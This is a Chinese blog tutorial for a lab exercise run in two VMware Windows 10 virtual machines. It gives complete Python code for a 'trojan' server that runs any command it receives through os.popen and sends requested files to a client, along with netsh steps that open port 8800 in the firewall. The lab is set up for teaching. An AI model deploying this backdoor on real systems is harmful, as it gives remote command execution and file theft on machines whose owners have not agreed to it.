VMware win10虚拟机跑一个简单的木马实验

最新推荐文章于 2024-07-27 15:06:08 发布
最新推荐文章于 2024-07-27 15:06:08 发布
阅读量978 收藏 20
点赞数 17
文章标签： 网络 python vscode 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_51478477/article/details/139666312
版权

1. 目的

基于python实现一个简单的木马实验：在客户端中读取服务端的文件，在VMware中跑通。

2. 原理

2.1 TCP/IP协议：

TCP/IP协议主要由网络层的IP协议 和 传输层的TCP协议组成 。
五层协议：

  1. 应用层：网络服务；协议：HTTP, FTP。
  2. 传输层：数据传输；协议：TCP, UDP。
  3. 网络层：路由转发；协议：IP。
  4. 数据链路层：数据帧传输；协议：Ethernet。
  5. 物理层：硬件传输；介质：电缆, 光纤。

应用层：负责处理特定的网络应用程序，为用户提供各种服务。常见的应用层协议包括：

  • HTTP（Hypertext Transfer Protocol）：用于网页浏览。
  • HTTPS（HTTP Secure）：HTTP的安全版本，通过SSL/TLS加密。
  • FTP（File Transfer Protocol）：用于文件传输。
  • SMTP（Simple Mail Transfer Protocol）：用于电子邮件传输。
  • POP3（Post Office Protocol 3）和IMAP（Internet Message Access Protocol）：用于电子邮件接收。
  • DNS（Domain Name System）：用于域名解析，将域名转换为IP地址。

传输层：TCP与UDP的区别

  • TCP：面向连接、可靠传输、流量控制、拥塞控制、数据重传。
  • UDP：无连接、简单快速、不保证顺序、不保证数据完整性。

网络层：IP地址与子网划分

  • IPv4地址：32位，通常以点分十进制表示（如192.168.0.1）。
  • IPv6地址：128位，通常以冒号分隔的十六进制表示（如2001:0db8:85a3:0000:0000:8a2e:0370:7334）。
  • 子网掩码：用于划分网络部分和主机部分，例如255.255.255.0。
    IP 或 ICMP、TCP 或 UDP、TELNET 或 FTP、以及 HTTP 等都属于 TCP/IP 协议，他们与 TCP 或 IP 的关系紧密。因此，也称 TCP/IP 为网际协议群。

2.2 TCP连接

参考：https://blog.csdn.net/weixin_53186633/article/details/120514627
TCP负责发现传输的问题，一有问题就发出信号，要求重新传输，直到所有数据安全正确地传输到目的地。
TCP协议是传输控制协议，工作在传输层。提供面向链接的，可靠的传输服务（三次握手，四次挥手）
建立TCP连接
TCP连接就是通过TCP协议在2台主机（的两个程序之间）之间建立起一个数据传输通道，主机就可以通过该通道相互传送数据，TCP连接也称为Socket。
在这里插入图片描述

2.3 socket

参考：玄魂工作室
Socket（套接字）是一种编程接口，一般面向网络层和传输层协议（套接字并不限于TCP/IP），每个套接字绑定一个ip一个端口。在Internet上的主机一般运行了多个服务软件，同时提供几种服务。每种服务都打开一个Socket，并绑定到一个端口上，不同的端口对应于不同的服务。比如QQ服务端对外绑定8000端口，web服务器一般对外绑定80端口。
Python 提供了两个基本的 socket 模块：

  • socket 它提供了标准的BSD Socket API。
  • socketserver 为服务器端编程提供了进一步封装，可以简化网络服务器的开发。

调用socket.socket可以创建一个Socket实例，socket类构造函数声明如下：

socket(family, type[,protocal])

我们看到socket构造函数接收三个参数，第一个为family。family表示套接字对象使用的地址族，可选值：AF_INET——IPv4地址族，AF_INET6——IPv6地址族，AF_UNIX——针对类UNIX系统的套接字。第二个为type，可使用的类型如下：

socket 类型描述
socket.SOCK_STREAM基于TCP的流式socket通信
socket.SOCK_DGRAM基于UDP的数据报式socket通信
socket.SOCK_RAW原始套接字，普通的套接字无法处理ICMP、IGMP等网络报文，而SOCK_RAW可以；其次SOCK_RAW也可以处理特殊的IPV4报文；此外，利用原始套接字，可以通过IP_HDRINCL套接字选项由用户构造IP头
socket.SOCK_SEQPACKET可靠的连续数据包服务

第三个参数protocal是协议类型，默认是0表示套接字，在套接字编程中不需要关心该参数。

创建TCP Socket的方法如下：

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

创建UDP Socket的方法如下：

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

3. 编程逻辑

Socket客户端编程的基本步骤：

  1. 创建套接字
  2. 连接服务端
  3. 发送数据
  4. 接收数据
  5. 关闭连接

Socket服务端编程的基本步骤：

  1. 创建套接字
  2. 绑定客户端
  3. 监听
  4. 接收数据
  5. 发送数据
  6. 关闭连接

4. 虚拟机环境配置

4.1 VMware安装

参考教程：https://blog.csdn.net/weixin_74195551/article/details/127288338

4.2 windows.iso下载（官网下载速度比别人的网盘快很多）

1、下载地址：https://www.microsoft.com/zh-cn/software-download/windows10/
2、 参考教程：https://blog.csdn.net/Cappuccino_jay/article/details/125536014?spm=1001.2014.3001.5502

4.3 在VMware中安装win10

安装两个win10虚拟机，一个作为服务器（被攻击方），一个作为客户端（攻击方）。
1、 参考教程：https://blog.csdn.net/lvlheike/article/details/120398259
（在VMware安装完首次启动windows系统后不需要添加微软账号，直接使用脱机账户，就可以不设置开机密码，即回车作为密码）
在这里插入图片描述

4.4 在win10中安装python和vscode

  1. python下载地址：https://www.python.org/
  2. vscode下载地址：https://code.visualstudio.com/download
  3. 参考教程：https://blog.csdn.net/qq_53280175/article/details/121107748
    vscode安装完后只添加一个python插件就可以了，软件会自动提示选择信任此系统，信任文件所在的文件夹（我们后续把文件放在桌面，所以这里信任桌面文件夹）
    https://blog.csdn.net/msdcp/article/details/127033151
    [图片]

4.5 在两个虚拟机中设置共享文件夹（先关机虚拟机，共享文件夹名为英文）

参考教程：https://blog.csdn.net/mystonelxj/article/details/103380904
在主机中把代码放入共享文件夹中，再从虚拟机中拖入桌面

5. 代码

代码参考：玄魂工作室
服务器（受攻击方）：

import socket
import sys
import os

class server:
    def __init__(self, ip, port):
        self.port = port
        self.ip = ip
        self.bufferSize = 10240

    def start(self):  # 启动监听，接收数据
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.bind((self.ip, self.port))  # 绑定
            s.listen(10)  # 监听
            print('等待客户端连接')
            while True:  # 一直等待新的连接
                try:
                    conn, addr = s.accept()  # 接收连接
                    print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                    while True:  # 不知道客户端发送数据大小，循环接收
                        data = conn.recv(self.bufferSize)
                        if not data:
                            break
                        else:
                            self.executeCommand(conn,data)
                    conn.close()
                except socket.error as e:
                    print(e)
                    conn.close()  # 关闭连接
        finally:
            s.close()  # 关闭服务端

    def executeCommand(self, tcpCliSock, data):  # 解析并执行命令
        try:#
            message = data.decode("utf-8")
            if os.path.isfile(message):#判断是否是文件
                filesize = str(os.path.getsize(message))#获取文件大小
                print("文件大小为：",filesize)
                tcpCliSock.send(filesize.encode())#发送文件大小
                data = tcpCliSock.recv(self.bufferSize)  
                print("开始发送")
                f = open(message, "rb")#打开文件
                for line in f:
                    tcpCliSock.send(line)#发送文件内容
            else:
                tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
        except:
            raise

if __name__ == '__main__':
    s = server('', 8800)
    s.start()

客户端（攻击方）：

import socket
import sys
import re
import os

class Client:
    def __init__(self,serverIp,serverPort):
        self.serverIp=serverIp #待连接的远程主机的域名
        self.serverPort = serverPort
        self.bufferSize = 10240

    def connet(self): #连接方法
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        except socket.error as e:
            print("Failed to create socket. Error: %s"%e)
            
        try:
            s.connect((self.serverIp,self.serverPort))
            while True:
                message = input('> ')#接收用户输入
                if not message:
                    break
                s.send(bytes(message, 'utf-8'))#发送命令
                data = s.recv(self.bufferSize)#接收数据
                if not data:
                    break
                if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型
                    print(data.decode('utf-8')[4:])
                else:#文件内容处理
                    s.send("File size received".encode())#通知服务端可以发送文件了
                    file_total_size = int(data.decode())#总大小
                    received_size = 0
                    f = open("new" +os.path.split(message)[-1], "wb")#创建文件
                    while received_size < file_total_size:
                        data = s.recv(self.bufferSize)
                        f.write(data)#写文件
                        received_size += len(data)#累加接收长度
                        print("已接收:", received_size)
                    f.close()#关闭文件
                    print("receive done", file_total_size, " ", received_size)
        except socket.error:
            s.close()
            raise #退出进程
        finally:
            s.close()

if __name__ == '__main__':
    cl = Client('服务器的IP地址',8800)
    cl.connet()
    sys.exit() #退出进程

6. 步骤

  1. 在服务器中，底部导航栏搜索cmd，右键管理员身份运行，查找服务器ipv4地址：
    ipconfig
    在客户端cmd中测试网络连接，确保两台主机在同一个网络中
    ping <服务器IP地址>
  2. 在服务器中，由于我们在案例中使用8800端口，先检查8800端口是否被占用
    netstat -ano|findstr "8800"
    在这里插入图片描述

如图所示，8800端口被占用，杀死该进程释放8800端口，此进程号为：5720 （该方法也可以用于杀死正在运行中的木马进程）
taskkill /pid 5720 /F
[图片]

  1. 添加允许8800端口入站流量的防火墙规则（注意管理员身份运行）(成功则返回“确定”)
    netsh advfirewall firewall add rule name="Open Port 8800" dir=in action=allow protocol=TCP localport=8800
    确认防火墙规则已添加
    netsh advfirewall firewall show rule name="Open Port 8800"
    [图片]

  2. 在客户端中，底部导航栏中搜索控制面板，点击“程序和功能”。点击“打开或关闭Windows功能”。
    [图片]

在弹出的窗口中，找到“Telnet客户端”选项，勾选它，然后点击“确定”。
等待Windows启用Telnet客户端，完成后关闭所有窗口。
[图片]

在cmd中，输入以下命令测试连接：
telnet <服务器IP地址> 8800
如果连接成功，屏幕会变黑，表示Telnet连接成功(如果服务器8800端口已经在监听状态中，在客户端黑幕中随便输入一点东西，则服务器中会对客户端的输入做出响应)。如果连接失败，会显示错误消息。
5. 在服务器的vscode中运行server.py文件，出现下图则运行成功
[图片]

在客户端中运行client.py文件，等待一会儿。如果出现下图所示的错误提示则回到前几步检查网络连接、端口问题。
[图片]

如果没出现错误提示，而出现“>”则输入dir,查看服务器工作目录。
[图片]

[图片]

输入文件路径，等待文件数据发送和接收。
客户端：
[图片]

[图片]

服务器端：
[图片]

7. 结论

实验成功。

8. 参考

  1. https://blog.csdn.net/Cappuccino_jay/article/details/125536014?spm=1001.2014.3001.5502
  2. https://blog.csdn.net/lvlheike/article/details/120398259
  3. https://blog.csdn.net/qq_53280175/article/details/121107748
  4. https://blog.csdn.net/msdcp/article/details/127033151
  5. https://blog.csdn.net/mystonelxj/article/details/103380904
  6. https://blog.csdn.net/weixin_74195551/article/details/127288338
m0_51478477
关注
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
杨秀璋的专栏
11-12 3万+
这是作者的系列网络安全自学教程，主要是关于网安工具和实践操作的在线笔记，特分享出来与博友共勉，希望您们喜欢，一起进步。前文分享了分享机器学习在安全领域的应用，并复现一个基于机器学习（逻辑回归）的恶意请求识别。这篇文章简单叙述了Web安全学习路线，并实现了最简单的木马和病毒代码，希望对读者有所帮助。
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析（一）Python利用永恒之蓝及Win7勒索加密
杨秀璋的专栏
04-14 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了Vulnhub靶机渗透的DC-1题目，通过信息收集、CMS漏洞搜索、Drupal漏洞利用、Metasploit反弹shell、提权及数据库爆破获取flag。这篇文章将分享新知识，最近WannaRen勒索软件爆发（下图是安天的分析攻击流程），其名称和功能与WannaCry相似，所以接下来作者将连续分享WannaCry勒索病毒的复现及分析，希望这篇基础性文章对您有所帮助。
木马攻击实验
qq_59468802的博客
10-20 1041
实验简介 实验所属系列：系统安全攻防技术与实践 实验对象： 本科/专科信息安全专业 相关课程及专业：计算机基础，网络安全 实验时数（学分）：2学时 实验类别：实践实验类 预备知识 木马是隐藏在正常程序中的具有特殊功能恶意代码，是具备破坏，删除和修改文件，发送密码，记录键盘，实施Dos攻击甚至完全可能告知计算机等特殊功能的后门程序。它隐藏在目标计算机里，可以随计算机自动启动并在某一端口监听来自控制端的控制信息。 1、木马的传统连接技术 一般木马都采用...
（linux系统环境下）ollama + fastgpt搭建本地私有大模型
最新发布
纸飞机的旅行的博客
07-27 1364
（linux系统环境下）ollama + fastgpt搭建本地私有大模型
教大家用虚拟机实现一个小的木马
2401_83344288的博客
04-09 989
今天来教大家玩一个小游戏，用一个木马来实现本机的监听。首先，打开你的VMware Workstation Pro其次打开你的虚拟机这里我用的是kali接下来就要正式开始咯。
网络攻防实验之木马攻击实验
hxxjxw的博客
07-09 1万+
这个实验是网络攻防课程实验中的一个，以冰河木马为例，操作系统是XP，对于现在的安全意义不大了，但是可以看一下多年前流行的冰河木马的功能和操作。 一、实验目的和要求 （1）通过对木马的练习，使读者理解和掌握木马传播和运行的机制； （2）通过手动删除木马，掌握检查木马和删除木马的技巧，学会防御木马的相关知识，加深对木马的安全防范意识。 二、实验原理和实验环境 实验...
信息安全原理与技术第七次实验：木马攻击与防范
sjx3161的博客
06-04 6651
为了帮助同学们完成痛苦的实验课程设计，本作者将其作出的实验结果及代码贴至CSDN中，供同学们学习参考。如有不足或描述不完善之处，敬请各位指出，欢迎各位的斧正！1．掌握目前网络中常见的七种木马的检测及清除方法； 2．学会使用工具检测并清除木马。1．木马的概念与发展历史 计算机世界中的特洛伊木马病毒的名字由《荷马史诗》的特洛伊战记得来。故事说的是希腊人围攻特洛伊城十年后仍不能得手，于是阿迦门农受雅典娜的启发:把士兵藏匿于巨大无比的木马中,然后佯作退兵。当特洛伊人将木马作为战利品拖入城内时，高大的木马正好卡在城门
实验二木马分析（控制分析）实验和实验三冰河木马实验
qq_30600405的博客
10-31 1万+
木马分析（隐藏分析）实验 木马分析（控制分析）实验 木马植入方法实验---冰河木马
使用大白鲨进行木马攻击实验并实现爆破目标机账号密码以远程连接
Zeker62的博客
08-06 3075
实验环境建议在虚拟机上运行 科学无罪，所有实验环境都在局域网内进行 实验条件 两个Windows虚拟机 一个安装大白鲨远程控制软件 两个虚拟机开启ftp服务（用于木马文件之间的传输） 大白鲨远程控制软件是一个比较旧的攻击软件 大白鲨远程控制 2010 Bate1(v1.6) 运行平台：Win2K、WinXP、Win03、WinVista、Win07、Win2008 软件简介： 兼容1.4~1.3版本 单一exe，不带DLL文件(无可没配置前114KB,压缩52KB)！ 注入进程兼容win7/win8
WIN10开机启动深度优化超详细万字以上,开机5秒
m0_55527741的博客
04-28 9968
WIN10开机启动深度优化超详细欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如
网络攻击与防范实验
11-19
1、了解密码破解工具的使用方法，掌握安全口令的设置原则； 2、了解常见的木马程序进行远程控制的使用方法，掌握木马传播和运行的机制； 3、掌握防范木马、检测木马以及手动删除木马的方法
网络攻防34个实验
10-05
sniffer和Wireshark工具软件的使用，运用ping抓IP结构，
4.2 木马攻防实验
qq_55202378的博客
07-27 1485
木马攻防
讲解虚拟服务器的书_五十一，恶意样本分析及HGZ木马控制目标服务器
weixin_39517859的博客
12-03 314
一.虚拟机安装Windows Server前一篇文章详细讲解虚拟机及Windows XP系统安装，这篇文章将搭建Windows Server 2003服务器，并通过HGZ制作控制目标服务器的目录。这里仅简单讲解Windows Server 2003服务器的流程，如果虚拟机已经安装好的直接跳过。1.创建虚拟机(1) 打开虚拟机，点击“文件”->“新建虚拟机”。(2) 默认选项大家常规选择即可，...
VM虚拟机端口映射接收CS弹反木马
剁椒鱼头没剁椒的博客
07-04 1799
在日常的对客户的内网进行渗透的时候，通常会使用公网服务器来搭建CS来反弹shell，但是有时候会出现，客户不让你使用公网服务器来进行反弹shell，只允许本地来进行反弹shell，那么就会出现这样的一个，如果你能够直接连接网线来配置固定IP，那么更好，这个就不需要看了，没什么意义了，那么还有一种极端的情况是什么，只让你连接WIFI，或者条件不允许你去使用网线直连，那么有什么好的解决办法？
木马程序攻击+利用Windows内核漏洞提权
m0_71745258的博客
01-22 3848
再次声明，此学习路线主打就业方向，如果只是感兴趣，想成为什么黑客的朋友可以划走了！网络安全≠黑客很多人上来就说想做想入行网络安全，但是连方向都没搞清楚就开始学习，最终也只是会无疾而终！黑客是一个大的概念，里面包含了许多方向，不同的方向需要学习的内容也不一样。网络渗透、逆向分析、漏洞攻击、内核安全、移动安全、破解PWN等众多子方向。今天的这篇，主要是针对网络渗透方向，其他方向仅供参考，学习路线并不完全一样，有机会的话我再单独梳理。
安装虚拟机（VMware）保姆级教程（附安装包）
热门推荐
分享个人学习经历
10-12 92万+
帮助小白安装虚拟机，保姆级教程。如果你点击下一步出现了这个页面的话，那就证明你电脑里面已经有vmware了，就可以直接用了，如果你想重新安装，直接删除就好，再重新打开安装程序继续安装。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值